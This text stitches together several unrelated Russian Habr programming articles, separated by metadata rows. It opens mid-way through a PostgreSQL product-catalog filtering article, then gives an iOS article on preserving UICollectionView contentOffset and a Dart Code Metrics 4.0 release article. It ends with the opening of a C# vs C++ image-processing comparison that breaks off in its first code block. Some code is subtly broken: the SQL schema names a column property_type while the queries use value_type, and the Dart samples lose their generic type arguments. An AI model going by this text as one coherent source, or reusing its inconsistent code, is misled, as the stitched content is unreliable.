title character varying(64) NOT NULL,
property_type property_value_type NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE IF NOT EXISTS property_values
(
property_id integer NOT NULL REFERENCES product_category_properties (id),
product_id integer NOT NULL REFERENCES products (id),
value smallint NOT NULL,
PRIMARY KEY (property_id, product_id)
);
CREATE INDEX IF NOT EXISTS property_id_and_value_and_product_id
ON property_values USING btree
(property_id ASC NULLS LAST, value ASC NULLS LAST, product_id ASC NULLS LAST);
CREATE TABLE IF NOT EXISTS product_prices
(
product_id integer NOT NULL REFERENCES products (id),
period timestamp NOT NULL,
price integer NOT NULL,
PRIMARY KEY (product_id, period)
);
CREATE INDEX IF NOT EXISTS product_id_and_price_and_period
ON product_prices USING btree
(product_id ASC NULLS LAST, price ASC NULLS LAST, period ASC NULLS LAST);
CREATE TABLE IF NOT EXISTS product_images
(
id serial NOT NULL,
product_id integer NOT NULL REFERENCES products (id),
title character varying(64) NOT NULL,
filename character varying(64) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE IF NOT EXISTS property_value_references
(
id integer NOT NULL,
property_id integer NOT NULL REFERENCES product_category_properties (id),
value character varying(128) NOT NULL,
PRIMARY KEY (id, property_id)
);
END;
```
У предложенной схемы есть положительный side-эффект, ничто не мешает нам наследовать свойства вышестоящих категорий.
К примеру, у корневой или любой категории в иерархии есть некоторые свойства.
Следующий запрос вернёт все свойства указанной категории плюс свойства всех его родительских категорий.
Будет полезен при формировании формы фильтра на клиенте.
```
WITH RECURSIVE r AS (
SELECT * FROM product_categories
WHERE id = ?
UNION ALL
SELECT product_categories.*
FROM product_categories JOIN r ON r.parent_id = product_categories.id
)
SELECT pcp.id, pcp.parent_id, pcp.category_id, pcp.property_type, pcp.title
FROM product_category_properties pcp
WHERE pcp.category_id IN (SELECT id FROM r)
```
Следующий запрос вернёт все свойства, как заполненные значениями так и пустые.
Будет полезен при динамическом формировании формы создания, редактирования и просмотра карточки товара.
```
WITH RECURSIVE r AS (
SELECT * FROM product_categories
WHERE id = (
SELECT category_id FROM products
WHERE id = ?
)
UNION ALL
SELECT product_categories.*
FROM product_categories JOIN r ON r.parent_id = product_categories.id
)
SELECT pcp.id, pcp.parent_id, pcp.category_id, pcp.value_type, pcp.title, pv.value
FROM product_category_properties pcp
LEFT JOIN property_values pv ON pcp.id = pv.property_id AND product_id = ?
WHERE pcp.category_id IN (SELECT id FROM r)
```
Следующий запрос вернёт наименование, описание и последнюю цену товара.
```
SELECT id, title, description, price
FROM products p
LEFT JOIN product_prices pp ON p.id = pp.product_id AND pp.period = (
SELECT MAX(period)
FROM product_prices
WHERE pp.product_id = product_prices.product_id
)
WHERE p.id = ?
```
Вариантов основного для каталога выбирающего запроса, множество, но все они - разновидности двух подходов: правильного, и не правильного :).
Вот так, к примеру может выглядеть основной выбирающий запрос по семи различным характеристикам в заданной категории и диапазоне цен.
```
SELECT id
FROM products
WHERE id IN (
SELECT product_id
FROM product_prices pp
WHERE period = (
SELECT max(period)
FROM product_prices
WHERE pp.product_id = product_prices.product_id
) AND ("price" >= ? AND "price" <= ?) AND product_id IN (
SELECT product_id
FROM property_values
WHERE (property_id = ? AND value = ?)
OR (property_id = ? AND value = ?)
OR (property_id = ? AND value = ?)
OR (property_id = ? AND value = ?)
OR (property_id = ? AND value = ?)
OR (property_id = ? AND value = ?)
OR (property_id = ? AND value = ?)
GROUP BY product_id HAVING COUNT(*) = ? /* здесь количество условий, в данном случае должно быть 7 */
)
) AND category_id = ?
```
На первый взгляд выглядит элегантным, однако, такой запрос не может полноценно использовать индекс и выполняется не самым быстрым образом. Следующий вариант гораздо быстрее.
```
SELECT id
FROM products p
JOIN property_values pv ON (p.id = pv.product_id AND pv.property_id = 1 AND pv.value >= ?)
JOIN property_values pv2 ON (pv.product_id = pv2.product_id AND pv2.property_id = ? AND pv2.value = ?)
JOIN property_values pv3 ON (pv.product_id = pv3.product_id AND pv3.property_id = ? AND pv3.value = ?)
JOIN property_values pv4 ON (pv.product_id = pv4.product_id AND pv4.property_id = ? AND pv4.value = ?)
JOIN property_values pv5 ON (pv.product_id = pv5.product_id AND pv5.property_id = ? AND pv5.value = ?)
JOIN property_values pv6 ON (pv.product_id = pv6.product_id AND pv6.property_id = ? AND pv6.value = ?)
JOIN property_values pv7 ON (pv.product_id = pv7.product_id AND pv7.property_id = ? AND pv7.value = ?)
JOIN product_prices pp ON p.id = pp.product_id AND pp.period = (
SELECT MAX(period)
FROM product_prices
WHERE pp.product_id = product_prices.product_id AND "price" >= ? AND "price" <= ?
)
WHERE p.category_id = ?
```
Но самым быстрым оказался следующий вариант запроса.
```
SELECT id
FROM products p
JOIN (
SELECT pv.product_id
FROM property_values pv
JOIN property_values pv2 ON pv.product_id = pv2.product_id AND pv2.property_id = ? AND pv2.value = ?
JOIN property_values pv3 ON pv.product_id = pv3.product_id AND pv3.property_id = ? AND pv3.value = ?
JOIN property_values pv4 ON pv.product_id = pv4.product_id AND pv4.property_id = ? AND pv4.value = ?
JOIN property_values pv5 ON pv.product_id = pv5.product_id AND pv5.property_id = ? AND pv5.value = ?
JOIN property_values pv6 ON pv.product_id = pv6.product_id AND pv6.property_id = ? AND pv6.value = ?
JOIN property_values pv7 ON pv.product_id = pv7.product_id AND pv7.property_id = ? AND pv7.value = ?
WHERE pv.property_id = ? AND pv.value >= ?
) AS pv ON p.id = pv.product_id
JOIN product_prices pp ON p.id = pp.product_id AND pp.period = (
SELECT MAX(period)
FROM product_prices
WHERE pp.product_id = product_prices.product_id AND "price" >= ? AND "price" <= ?
)
WHERE category_id = ?
```
Очень просто, не правда ли?
В последней строке запросов проверяется вхождение выбранных товаров в целевую категорию, это условие здесь не обязательное, его стоит добавить в запросы в случае если ни каких других условий не задано, что бы избежать выборки всех значений.
Такой запрос легко генерируется алгоритмически используя параметры из url вида:
?filter[price][gte]=100&filter[price][lte]=1000&filter[property][1][eq]=1&filter[property][2][gte]=1&filter[property][3][lte]=1 и т.д. и позволяет накладывать любые фильтры ( >, <, >=, <=, =, <>, in, not in) в любых комбинациях.
Используя индексы созданные по полям property\_id, value, product\_id таблицы property\_values и product\_id, price, period таблицы product\_prices получилось не только избавиться от полного сканирования таблиц, а добиться "index scan only" на всех этапах составления плана запроса оптимизатором.
Правда тут есть нюанс, при большом количестве условий выборки, возрастает время оптимизации плана запроса планировщиком и уже после 6 условий, время планирования превышает время исполнения запроса.
Поэтому, чтобы указать планировщику, что бы он не пытался искать оптимальный порядок соединений можно уменьшить join\_collapse\_limit параметр конфигурации postgresql, по умолчанию он равен 8.
### Тестирование
Стало любопытно, после какого количества товаров и значений их свойств, время исполнения запросов станет непозволительно большим и для этих целей набросал скрипт генерации данных.
Скрипт генерации тестовых данных
```
-- Сгенерировать 5 корневых категорий
TRUNCATE product_categories RESTART IDENTITY CASCADE;
INSERT INTO product_categories(id, parent_id, title)
VALUES (1, null, 'Product category 1'),
(2, null, 'Product category 2'),
(3, null, 'Product category 3'),
(4, null, 'Product category 4'),
(5, null, 'Product category 5');
-- 25 дочерних категорий
INSERT INTO product_categories(id, parent_id, title)
SELECT id+1, (id/5), 'Product category ' || id+1
FROM generate_series(5, 29) id;
-- 300 свойств категорий
TRUNCATE product_category_properties RESTART IDENTITY CASCADE;
INSERT INTO product_category_properties(id, title, parent_id, category_id, value_type)
SELECT id+1, 'Product category property ' || id+1, null, (SELECT * FROM generate_series(6, 30, 1) LIMIT 1 OFFSET (id/12)),
(array['boolean', 'boolean', 'boolean', 'boolean', 'boolean', 'integer', 'reference'])[ceil(random() * 7)]::property_value_type
FROM generate_series(0, 299) id;
-- 1 млн. товаров
TRUNCATE products RESTART IDENTITY CASCADE;
INSERT INTO products(id, title, description, category_id)
SELECT id+1 as id, 'Product title ' || id+1, 'Product title ' || id+1, (SELECT * FROM generate_series(6, 30, 1) LIMIT 1 OFFSET id/40000) as category_id
FROM generate_series(0, 999999) id;
-- 2 млн. цен товаров
TRUNCATE product_prices;
INSERT INTO product_prices(product_id, price, period)
SELECT (id/2)+1, floor(random()*(10000-1+1))+1, now() - (
interval '1 day' * round(random() * 100) + interval '1 hours' * round(random() * 100) + interval '1 minutes' * round(random() * 100) +
interval '1 seconds' * round(random() * 100) + interval '1 milliseconds' * round(random() * 100)) as timestamp
FROM generate_series(0, 1999999) id;
/* 12 млн. значений свойств товаров */
TRUNCATE property_values;
INSERT INTO property_values(product_id, property_id, value)
SELECT
(
SELECT id FROM products WHERE id =
(
SELECT CASE
WHEN mod((pid+1)::numeric, (1000000)::numeric) = 0 THEN 1000000
WHEN (pid+1/1000000)::numeric > 0 THEN ((((pid+1)::numeric) / (1000000::numeric) - (pid+1)/1000000) * 1000000)::integer
ELSE pid+1
END
)
) AS product_id,
(
SELECT id FROM product_category_properties WHERE category_id = (
SELECT category_id FROM products WHERE id = (
SELECT CASE
WHEN mod((pid+1)::numeric, (1000000)::numeric) = 0 THEN 1000000
WHEN (pid+1/1000000)::numeric > 0 THEN ((((pid+1)::numeric) / (1000000::numeric) - (pid+1)/1000000) * 1000000)::integer
ELSE pid+1
END
)
) ORDER BY id LIMIT 1 OFFSET pid/1000000
) AS property_id,
(
SELECT
CASE
WHEN (
SELECT value_type FROM product_category_properties WHERE category_id = (
SELECT category_id FROM products WHERE id = (
SELECT CASE
WHEN mod((pid+1)::numeric, (1000000)::numeric) = 0 THEN 1000000
WHEN (pid+1/1000000)::numeric > 0 THEN ((((pid+1)::numeric) / (1000000::numeric) - (pid+1)/1000000) * 1000000)::integer
ELSE pid+1
END
)
) ORDER BY id LIMIT 1 OFFSET pid/1000000
) = 'reference' THEN ceil(random()*10)
WHEN (
SELECT value_type FROM product_category_properties WHERE category_id = (
SELECT category_id FROM products WHERE id = (
SELECT CASE
WHEN mod((pid+1)::numeric, (1000000)::numeric) = 0 THEN 1000000
WHEN (pid+1/1000000)::numeric > 0 THEN ((((pid+1)::numeric) / (1000000::numeric) - (pid+1)/1000000) * 1000000)::integer
ELSE pid+1
END
)
) ORDER BY id LIMIT 1 OFFSET pid/1000000
) = 'integer' THEN ceil(random()*100)
ELSE 1
END
) AS value
FROM generate_series(0, 11999999) pid;
-- Таким образом все товары в одинаковых категориях имеют полный набор значений всех доступных свойств
-- Теперь удалить половину всех значений свойств, чтобы обеспечить правдоподобное распределение
DELETE FROM property_values WHERE ctid = ANY (
SELECT ctid FROM property_values TABLESAMPLE BERNOULLI(50)
);
```
### Выводы
На базе заполненной случайными данными в количестве: 1 млн. товаров в 25 категориях (+5 корневые), 300 свойств категорий, 6 млн. значений свойств категорий и весьма скромной машине Intel Pentium G6400 4GHz + 16Gb + HDD, такой запрос отрабатывает за 35 - 60 ms.
На самом деле, на практике мне не приходилось иметь дело с таким количеством товаров в каталоге. От нескольких сотен до полутора тысяч максимум, но длинная изоляция сподвигла на тест и статью.
Безусловно, недостатки в таком подходе тоже имеются. Самым очевидным кажется тщательная проработка категорий и их свойств, просто так переместить товары из категории в категорию не получится, это может вылиться в дополнительною головную боль при администрировании данного решения. | https://habr.com/ru/post/595411/ | null | ru | null |
# Регулировка contentOffset с помощью UICollectionViewLayout
Один из распространенных UI элементов в iOS является `UICollectionView`.
Часто при построении таких коллекций возникает необходимость обновления данных, например добавления новых ячеек в коллекцию.
Рассмотрим простой пример - список новостей, вертикальный `UICollectionView`. При пролистывании списка вниз, необходимо подгружать старые новости. В данном случае все просто - нужно обновить данные и выполнить один из методов:
```
func reloadData()
func insertItems(at indexPaths: [IndexPath])
```
Таким образом, визуально, видимая пользователем область экрана останется на том же месте и контент появляется внизу.
Теперь усложним задачу. Есть необходимость добавлять контент сверху. В таком случае, из-за особенностей работы `UIScrollView`, видимая пользователем область экрана сдвинется вверх на высоту контента. Для многих задач это нормальное поведение, например, для той же ленты новостей. Произойдет обновление контента, т.е. экран пользователя окажется сразу на свежих данных.
Но бывают ситуации, когда необходимо реализовать подгрузку вверх - список сообщений мессенджера, как пример. Да, можно "перевернуть" `UITableView/UICollectionView`, но не всегда этого достаточно. Иногда требуется подгружать сообщения и вверху, и внизу.
В случае любого обновления `UICollectionView` - `contentOffset` не меняется, именно по этому происходит "сдвиг" видимой пользователем области экрана.
Чтобы это не происходило, необходимо расчитывать новый `contentOffset`, который будет актуален после обновления коллекции и с учетом этого обновления.
В случае когда происходит только добавление элементов группой, например, подгрузка части истории, то зная высоту группы добавляемых ячеек, необходимо прибавить это значение к `contentOffset`:
```
var currentContentOffset = collectionView.contentOffset
collectionView.insertItems(at: addedIndexPaths) // or reloadData()
currentContentOffset.y += addedContentHeight
collectionView.contentOffset = currentContentOffset
```
Теперь усложним задачу. При обновлении коллекции могут использоваться разные операции:
```
collectionView.performBatchUpdates({
collectionView.deleteItems(at: deletedIndexPaths)
collectionView.insertItems(at: insertedIndexPaths)
collectionView.reloadItems(at: reloadedIndexPaths)
}, completion: nil)
```
Особенно если использовать *DifferenceKit* или аналоги.
В таком случае любое изменение высоты контента, который расположен выше текущего `contentOffset`, будет приводить к "сдвигам".
Можно решать эту проблему, рассчитывая разницу высот контента после обновления и прибавляя к текущему `contentOffset`, но задача усложняется тем, что дополнительно нужно еще определять - какой контент учитывать, а какой нет. Такая необходимость возникает из-за того, что обновление/удаление/добавление ячеек, находящихся "внизу", т.е. ниже текущего `contentOffset` или ниже видимой части экрана, учитывать не нужно.
**Одно из решений -** **использовать** `UICollectionViewLayout`**.**
Суть решения заключается в том, что нам так же необходимо посчитать разницу, на которую нужно отрегулировать `contentOffset`. Но можно не расчитывать размер целевых ячеек, а использовать frame определенной ячейки, например, первой видимой, и просто получить ее frame до и после обновления. Разница, например, Y координат для вертикальной коллекции, и будет тем самым диффом, который необходимо добавить к `contentOffset`.
Здесь есть важный нюанс - для получения `frame` ячейки нужен `indexPath`, который, естественно, поменяется после обновления. И тут как раз пригодится метод `prepare(forCollectionViewUpdates:)`, в котором можно получить операции обновления коллекции.
```
override open func prepare(forCollectionViewUpdates updateItems: [UICollectionViewUpdateItem]) {
guard
updateItems.count > 0 else {
return
}
let previousContentOffset = collectionView.contentOffset
let diff = offsetDifference(
for: updateItems
)
guard diff.x != 0 || diff.y != 0 else {
return
}
offset = CGPoint(
x: previousContentOffset.x + diff.x,
y: previousContentOffset.y + diff.y
)
}
```
В методе `offsetDifference` рассчитывается разница:
```
func offsetDifference(for updates: [UICollectionViewUpdateItem]) -> CGPoint {
let previousVisibleFrame = previousVisibleAttributes[visibleState.targetIndexPath] ?? .zero
for item in updates {
visibleStateController.update(with: item)
}
let newVisibleFrame = layoutDataSource?
.layoutAttributesForItem(at: visibleStateController.targetIndexPath)?.frame ?? .zero
let calculatedOffsetDiff = diff(
from: previousVisibleFrame,
new: newVisibleFrame
)
return calculatedOffsetDiff
}
```
Здесь есть два ключевых момента. **Первый** - `previousVisibleAttributes`. Это атрибуты `indexPathsForVisibleItems`. Их нужно хранить и обновлять перед каждым обновлением коллекции. Для этого подходит метод `invalidateLayout(with:)`:
```
override func invalidateLayout(with context: UICollectionViewLayoutInvalidationContext) {
if !context.invalidateEverything {
refreshVisibleAttributes()
}
super.invalidateLayout(with: context)
}
func refreshVisibleAttributes() {
guard collectionView.indexPathsForVisibleItems.count > 0 else {
return
}
previousVisibleAttributes = collectionView.indexPathsForVisibleItems
.reduce(into: [IndexPath: CGRect](), { seed, indexPath in
seed[indexPath] = layoutAttributesForItem(at: indexPath)?.frame ?? .zero
})
}
```
**Второй момент** - рассчитать `indexPath` целевой видимой ячейки после обновления, чтобы после того, как коллекция построит свой новый *layout*, получить новый `frame` этой ячейки:
```
extension VisibleIndexesStateControllerImpl {
open func update(with item: UICollectionViewUpdateItem) {
switch item.updateAction {
case .insert:
targetIndexPath = inserted(with: item)
case .delete:
targetIndexPath = deleted(with: item)
case .move, .none, .reload:
break
@unknown default:
break
}
}
private func inserted(with item: UICollectionViewUpdateItem) -> IndexPath {
guard let indexPath = item.indexPathAfterUpdate else {
return targetIndexPath
}
if item.isSection {
return targetIndexPath.insertedSection(at: indexPath)
}
return targetIndexPath.insertedRow(at: indexPath)
}
private func deleted(with item: UICollectionViewUpdateItem) -> IndexPath {
guard let indexPath = item.indexPathBeforeUpdate else {
return targetIndexPath
}
if item.isSection {
return targetIndexPath.deletedSection(at: indexPath)
}
return targetIndexPath.deletedRow(at: indexPath)
}
}
```
Здесь простая логика - если вставка/удаление происходит "выше" целевой видимой ячейки, то обновляем значение ее `IndexPath`:
```
extension IndexPath {
public func insertedRow(at indexPath: IndexPath) -> IndexPath {
if indexPath.section == section,
indexPath.row <= row {
return incrementedRow()
}
return self
}
public func insertedSection(at indexPath: IndexPath) -> IndexPath {
if indexPath.section <= section {
return incrementedSection()
}
return self
}
public func deletedRow(at indexPath: IndexPath) -> IndexPath {
if indexPath.section == section,
indexPath.row <= row {
return decrementedRow()
}
return self
}
public func deletedSection(at indexPath: IndexPath) -> IndexPath {
if indexPath.section <= section {
return decrementedSection()
}
return self
}
}
```
В результате, зная старый и новый `indexPath` целевой видимой ячейки, можно получить соответствующие *frames* и рассчитать новый `contentOffset`.
Остается только применить новый `contentOffset`:
```
override open func finalizeCollectionViewUpdates() {
super.finalizeCollectionViewUpdates()
guard let targetContentOffset = offset else {
return
}
offset = nil
collectionView.contentOffset = targetContentOffset
}
```
Решение, использующее данный способ, лежит [тут](https://github.com/aimalygin/StableCollectionViewLayout). | https://habr.com/ru/post/666216/ | null | ru | null |
# Dart Code Metrics 4.0: команды, поддержка монорепозиториев и новые правила
В предыдущей [статье](https://habr.com/ru/company/wrike/blog/552012/) мы анонсировали [Dart Code Metrics](https://github.com/dart-code-checker/dart-code-metrics) — инструмент статического анализа кода. Сегодня я расскажу про новые возможности, которые появились в Dart Code Metrics с выходом очередного мажорного обновления. Поговорим про появление команд, поддержку монорепозиториев, улучшения в интеграции с CI/CD, и, конечно же, про новые правила для анализатора. Теперь у инструмента появился сайт с документацией, его можно найти [здесь](http://dartcodemetrics.dev).
Команды
-------
Изначально задача Dart Code Metrics заключалась в сборе и удобном представлении метрик по коду, а также предоставлении дополнительных правил для анализатора с более гибкой конфигурацией. Но мы решили не останавливаться на этом, расширили возможности инструмента и добавили команды, которые служат общей цели — помогать поддерживать качество кодовой базы на должном уровне.
Теперь подробнее про одну из первых команд — **check-unused-files**. Ее задача — искать неиспользуемые дартовые файлы.
```
$ dart run dart_code_metrics:metrics check-unused-files lib
```
Полное описание команды:
```
Check unused *.dart files.
Usage: metrics check-unused-files [arguments]
-h, --help Print this usage information.
-r, --reporter= The format of the output of the analysis.
[console (default), json]
--root-folder=<./> Root folder.
--exclude=<{/\*\*.g.dart,/\*\*.template.dart}> File paths in Glob syntax to be excluded.
(defaults to "{/\*\*.g.dart,/\*\*.template.dart}")
```
В какой ситуации может понадобиться поиск неиспользуемых файлов?
Навскидку приходят как минимум два сценария:
1. Если вам нужно провести поэтапный рефакторинг на большой кодовой базе с перемещением файлов, то сложно понять, все ли файлы задействованы корректно.
2. В Dart очень популярна кодогенерация, создающая дополнительные файлы. Иногда бывает сложно понять, что эти файлы больше не используются.
#### Как поиск работает под капотом
Поиск неиспользуемых файлов начинается с составления списка файлов, которые находятся внутри переданных директорий и в поддиректориях. После в каждом файле проверяется список import, export и part директив. Если импортируемый или экспортируемый файл принадлежит данному пакету, то он помечается как используемый. Файлы с экспортами или файлы, содержащие main-функцию (например, с тестами), отдельно помечаются как точки входа и как используемые.
После неиспользуемые файлы выводятся в формате:
```
Unused file:
...
Unused file:
Total unused files - N
```
#### Пример использования команды
Для примера возьмем проект с такой структурой::
lib/
src/
entry\_point.dart
first\_file.dart
second\_file.dart
И таким контентом файлов:
**entry\_point.dart**
```
import ‘first_file.dart’
void main() {
... // some code
}
```
**first\_file.dart**
```
class SomeClass {
...
}
```
**second\_file.dart**
```
import ‘first_file.dart’
class SomeOtherClass {
...
}
```
Вызовем команду:
```
$ dart run dart_code_metrics:metrics check-unused-files lib
```
На первом шаге алгоритм определит, что в проекте содержатся всего три файла, и начнет их обходить. После обхода **entry\_point.dart** файл **first\_file.dart** помечается как используемый, так как он импортируется в **entry\_point.dart**. При этом сам **entry\_point.dart** будет также помечен как используемый, потому что он объявляет функцию main. Далее алгоритм проверит **first\_file.dart**, который не имеет директив, а после перейдет к **second\_file.dart**. Так как на **second\_file.dart** не ссылается ни один из предыдущих файлов, то он в результате будет выведен как неиспользуемый.
```
Unused file: lib/src/second_file.dart
Total unused files - 1
```
Мы можем исключить second\_file.dart из результатов, передав опцию: --exclude.
```
$ dart run dart_code_metrics: metrics check-unused-files lib --exclude=”lib/**/second_file.dart”
```
В таком случае команда выведет:
```
No unused files found!
```
Почему мы решили сделать отдельную команду, а не добавили поиск неиспользуемых файлов в существующий вызов и не сделали поддержку для плагина анализатора? Поиск неиспользуемых файлов выглядит как нечастая функция: постоянная проверка — это оверхэд, которого хотелось бы избежать.
Предыдущий вызов анализа кода теперь также доступен в виде команды, и называется analyze. Если раньше вы вызвали cli с помощью
```
$ dart run dart_code_mertics:metrics lib
```
то теперь это будет выглядеть так:
```
$ dart run dart_code_mertics:metrics analyze lib
```
В версии 4.0 мы оставили поддержку `dart run dart_code_mertics:metrics lib`. Она будет работать как минимум до версии 5.0, поэтому на текущий момент никаких изменений на CI не потребуется.
Поддержка монорепозиториев
--------------------------
Начиная с версии 4.1 мы стали лучше поддерживать монорепозитории: теперь контекст анализа определяется корректно для каждого пакета внутри монорепозитория. Это распространяется как на ситуацию, когда в каждом пакете есть отдельный `analysis_options.yaml`, так и для ситуаций, когда в руте монорепозитория всего один `analysis_options.yaml`.
Поддержка монорепозиториев позволила поддержать сценарий использований Dart Code Metrics с такими инструментами как [melos](https://pub.dev/packages/melos). Теперь вы можете добавить шаг в `melos.yaml`, и при его выполнении будет использоваться корректный `analysis_options.yaml` для каждого пакета монорепозитория.
Конфигурация melos может выглядеть так:
```
metrics:
run: |
melos exec -c 1 --ignore="*example*" -- \
flutter pub run dart_code_metrics:metrics analyze lib
description: |
Run `dart_code_metrics` in all packages.
- Note: you can also rely on your IDEs Dart Analysis / Issues window.
```
Улучшения по интеграции в CI/CD процессы
----------------------------------------
Мы также работаем над улучшением интеграции в различные CI/CD процессы. В этом релизе добавили GitHub Action: он позволяет не только проще интегрировать Dart Code Metrics, но и содержит более подробный отчет, чем раньше поддерживала cli опция --reporter=github.
Как может выглядеть конфигурация GitHub Action:
```
name: Dart Code Metrics
on: [push]
jobs:
check:
name: dart-code-metrics-action
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: dart-code-metrics
uses: dart-code-checker/dart-code-metrics-action@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
```
Более подробно про конфигурацию гитхаб экшена вы можете посмотреть [в документации](https://dartcodemetrics.dev/docs/integrations/github-action).
Не осталась без внимания и интеграция с GitLab. Теперь в документации появилось описание того, как можно [встроить Dart Code Metrics](https://dartcodemetrics.dev/docs/cli/analyze#gitlab).
Конфигурация может выглядеть так:
```
code_quality:
image: google/dart
before_script:
- dart pub global activate dart_code_metrics
script:
- dart pub global run dart_code_metrics:metrics lib -r gitlab > code-quality-report.json
artifacts:
reports:
codequality: code-quality-report.json
```
Новые правила для Flutter
-------------------------
В этом релизе мы сконцентрировались на правилах для Flutter и добавили сразу четыре новых.
**Prefer extracting callbacks.** Проверяет, что колбеки, используемые для аргументов виджета типа onPressed, вынесены в отдельные методы, а не имплементированы по месту. Основная задача этого правила — сделать код виджетов внутри build метода более простым для восприятия.
Например, рассмотрим виджет:
```
class MyWidget extends StatelessWidget {
@override
Widget build(BuildContext context) {
return TextButton(
style: ...,
onPressed: () {
// Some
// Huge
// Callback
},
child: ...
);
}
}
```
В крайних случаях код таких колбеков может достигать большую часть кода build метода виджета, что сильно затрудняет восприятие того, из каких частей состоит виджет.
При этом правило не срабатывает для однострочных колбэков — код типа `onPressed: () => _handler(...)` или `onPressed: _handler` является корректным с точки зрения правила.
Подробнее про это правило можете прочитать [в документации](https://dartcodemetrics.dev/docs/rules/flutter/prefer-extracting-callbacks).
**Avoid unnecessary setstate.** Проверяет, что setState не вызывается синхронно внутри initState, didUpdateWidget и build методах виджета. Такой вызов setState приводит к дополнительным перерисовкам виджета, в которых нет необходимости.
Рассмотрим пример, в котором правило покажет ошибку:
```
class MyWidget extends StatefulWidget {
@override
_MyWidgetState createState() => _MyWidgetState();
}
class _MyWidgetState extends State {
String myString = '';
@override
void initState() {
super.initState();
setState(() => myString = "Hello");
}
@override
Widget build(BuildContext context) {
return ...
}
}
```
В этом примере `setState(() => myString = "Hello");` приведет к дополнительной перерисовке, поэтому правило подсветит такое использование setState.
Рассмотрим другой пример:
```
class MyWidget extends StatefulWidget {
@override
_MyWidgetState createState() => _MyWidgetState();
}
class _MyWidgetState extends State {
String myString = '';
@override
void initState() {
super.initState();
myAsyncMethod();
}
Future myAsyncMethod() async {
final data = await service.fetchData();
setState(() {
myString = data;
});
}
@override
Widget build(BuildContext context) {
return ...
}
}
```
Вызов setState в данном примере не приведет к срабатыванию правила, так как этот вызов происходит из асинхронного метода.
Подробнее про это правило можете прочитать [в документации](https://dartcodemetrics.dev/docs/rules/flutter/avoid-unnecessary-setstate).
**Avoid wrapping in padding.** Проверяет, что виджет, обернутый в Padding виджет, сам не имеет настройки отступов, которая может быть использована вместо оборачивания в Padding виджет.
```
class CoolWidget extends StatelessWidget {
...
Widget build(...) {
return Padding(
padding: const EdgeInsets.only(right: 20),
child: Container(),
);
}
}
```
Избавление от избыточного паддинга позволяет не добавляет дополнительный отступ в build методе виджета, что делает его более читаемым и позволяет сделать дерево виджетов меньше на один уровень.
Подробнее с документацией можете ознакомиться [здесь](https://dartcodemetrics.dev/docs/rules/flutter/avoid-wrapping-in-padding).
**Always remove listener.** Проверяет, что подписка, добавленная через `.addListener(...)`, удаляется в dispose методе виджета. Неудаление подписки приводит к утечкам памяти, что может оказать значительное влияние на производительность в ситуациях, когда виджет, создающий подписку, инициализируется большое количество раз в рамках жизненного цикла приложения.
```
class ShinyWidget extends StatefulWidget {
const ShinyWidget();
@override
_ShinyWidgetState createState() => _ShinyWidgetState();
}
class _ShinyWidgetState extends State {
final \_scrollController = ScrollController();
const \_ShinyWidgetState();
@override
void initState() {
super.initState();
\_scrollController.addListener(listener);
}
void dispose() {
super.dispose();
}
void listener() {
// ...
}
}
```
В этом примере правило покажет, что подписка `_scrollController.addListener(listener);` не была убрана в dispose.
Подробнее с документацией можете ознакомиться [здесь](https://dartcodemetrics.dev/docs/rules/flutter/always-remove-listener).
*Note: это правило не обрабатывает дартовые стримы, поэтому оно помечено как экспериментальное. Если у вас есть идеи о том, как его можно улучшить, напишите нам!*
Мы будем рады любому фидбэку и вашим идеям по новым правилам, метрикам или командам! Нас всегда можно найти [в чате комьюнити в телеграмме](https://t.me/DartCodeMetrics) или оставить нам [issue на GitHub](https://github.com/dart-code-checker/dart-code-metrics/issues). Мы также будем рады новым контрибьюторам. Если вам интересно погрузиться в мир статического анализа, но вы не знаете с чего начать, то мы с радостью расскажем о том, как инструмент устроен изнутри и поможем имплементировать ваше первое правило.
Мы будем благодарны, если вы заполните небольшой опрос. Это поможет нам понять, в каком направлении стоит развивать проект и какие фичи добавить в следующих релизах. | https://habr.com/ru/post/573140/ | null | ru | null |
# Сравниваем производительность C# и C++ в задачах обработки изображений
Бытует мнение, что C# не место в вычислительных задачах, и мнение это вполне обоснованное: JIT-компилятор вынужден компилировать и оптимизировать код на лету в процессе выполнения программы с минимальными задержками, у него попросту нет возможности потратить больше вычислительных ресурсов, чтобы сгенерить более эффективный код, в отличие от компилятора C++, которые может потратить на это дело минуты и даже часы.
Однако, в последние годы эффективность JIT-компилятора заметно возросла, да и в сам фреймворк завезли ряд полезных фишек, например, [интринсики](https://devblogs.microsoft.com/dotnet/hardware-intrinsics-in-net-core/).
И вот стало мне интересно: а можно ли в 2020 году, используя .NET 5.0, написать код, который бы не сильно уступал по производительности C++? Оказалось, что можно.
Мотивация
---------
Я занимаюсь разработкой алгоритмов обработки изображений, причём на достаточно низком уровне. То есть это не жонглирование кирпичиками в Python, а именно разработка чего-то нового и, желательно, производительного. Код на Python работает непозволительно долго, тогда как использование C++ приводит к снижению скорости разработки. Оптимальный баланс между продуктивностью и производительностью для подобных задач достигается при использовании C# и Java. В подтверждение моих слов - проект [Fiji](https://imagej.net/Fiji).
Раньше для прототипирования я использовал C#, а готовые алгоритмы, которым критична производительность, переписывал на C++, пихал в либу и дёргал либу из C#. Но в этом случае страдала переносимость, да и отлаживать код было не очень удобно.
Но это было давно, с тех пор .NET шагнул далеко вперёд, и мне стало интересно, могу ли я отказаться от нативной библиотеки на C++ и перейти полностью на C#?
Сценарий
--------
Сравнивать же языки я буду на примере базовых методов обработки изображений: сумма изображений, поворот, свёртка, медианная фильтрация. Именно подобные методы чаще всего приходится писать на C++. Особенно критично время работы свёртки.
Для каждого из методов, кроме медианной фильтрации, было сделано по три реализации на C# и C++:
* Наивная реализация с использованием методов типа GetPixel(x, y) и SetPixel(x, y, value);
* Оптимизированная реализация с использованием указателей и работы с ними на низком уровне;
* Реализация с использованием интринсков (AVX).
В случае медианной фильтрации использовались библиотечные функции (Array.Sort, std::sort), поэтому это было, фактически, сравнение реализаций этих функции, а не пользовательского кода. В перспективе имеет смысл подумать об использовании сортировочных сетей.
Также, чтобы уравнять языки в возможностях, я в C# использовал unmanaged память и обращался к пикселям без каких-либо проверок на выход за границы. А то как-то нечестно получается, что C++ использует UB для достижения высокой производительности, а C# - нет.
Реализация методов выложена на [Github](https://github.com/e673/cs_vs_cpp_improc), смысла постить сюда портянки кода я не вижу, просто приведу пример кода на C#:
Сумма изображений
```
[MethodImpl(MethodImplOptions.AggressiveOptimization)]
